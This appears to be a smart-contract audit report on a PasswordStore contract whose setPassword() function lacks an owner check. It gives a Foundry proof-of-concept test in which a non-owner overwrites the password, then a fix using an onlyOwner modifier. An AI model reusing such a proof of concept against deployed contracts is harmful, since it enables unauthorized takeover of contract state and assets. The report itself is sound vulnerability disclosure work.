Summary
The function comment for setPassword() reads: "This function allows only the owner to set a new password", but the developer
forgot to add some kind of modifier to secure the function, and it is external, so anyone can set the password at any time.
Vulnerability Details (PoC)
Check this test function created with Foundry
function test_setPasswordAsAttacker() external {
vm.prank(address(1));
passwordStore.setPassword("banana");
vm.prank(owner);
string memory actualPassword = passwordStore.getPassword();
assertEq(actualPassword, "banana");
}
If we execute it:
➜ 2023-10-PasswordStore git:(main) ✗ forge test --mt test_setPasswordAsAttacker
[⠢] Compiling...
[⠢] Compiling 1 files with 0.8.18
[⠆] Solc 0.8.18 finished in 902.07ms
Compiler run successful!
Running 1 test for test/PasswordStore.t.sol:PasswordStoreTest
[PASS] test_setPasswordAsAttacker() (gas: 22234)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.31ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
The user address(1) is able to set a new password.
Impact
Because any user can set and subsequently use a new password, any application or transaction that depends on it is compromised, as is any asset.
Tools Used
Foundry, manual.
Recommendations
The best way to secure an onlyOwner function is to use the Open Zeppelin library, as it has already been proven by high-level security researchers.
Check the information in: https://docs.openzeppelin.com/contracts/2.x/api/ownership#Ownable
As every function in the contract needs the onlyOwner protection, another way to secure the function is creating an onlyOwner modifier
modifier onlyOwner() {
if (msg.sender != s_owner) {
revert PasswordStore__NotOwner();
}
_;
}
We have to add it to the function
function setPassword(string memory newPassword) external onlyOwner {
s_password = newPassword;
emit SetNetPassword();
}
And run the same test to prove it works
2023-10-PasswordStore git:(main) ✗ forge test --mt test_setPasswordAsAttacker
[⠢] Compiling...
[⠒] Compiling 3 files with 0.8.18
[⠢] Solc 0.8.18 finished in 911.27ms
Compiler run successful!
Running 1 test for test/PasswordStore.t.sol:PasswordStoreTest
[FAIL. Reason: PasswordStore__NotOwner()] test_setPasswordAsAttacker() (gas: 10771)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 426.38µs
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/PasswordStore.t.sol:PasswordStoreTest
[FAIL. Reason: PasswordStore__NotOwner()] test_setPasswordAsAttacker() (gas: 10771)
Encountered a total of 1 failing tests, 0 tests succeeded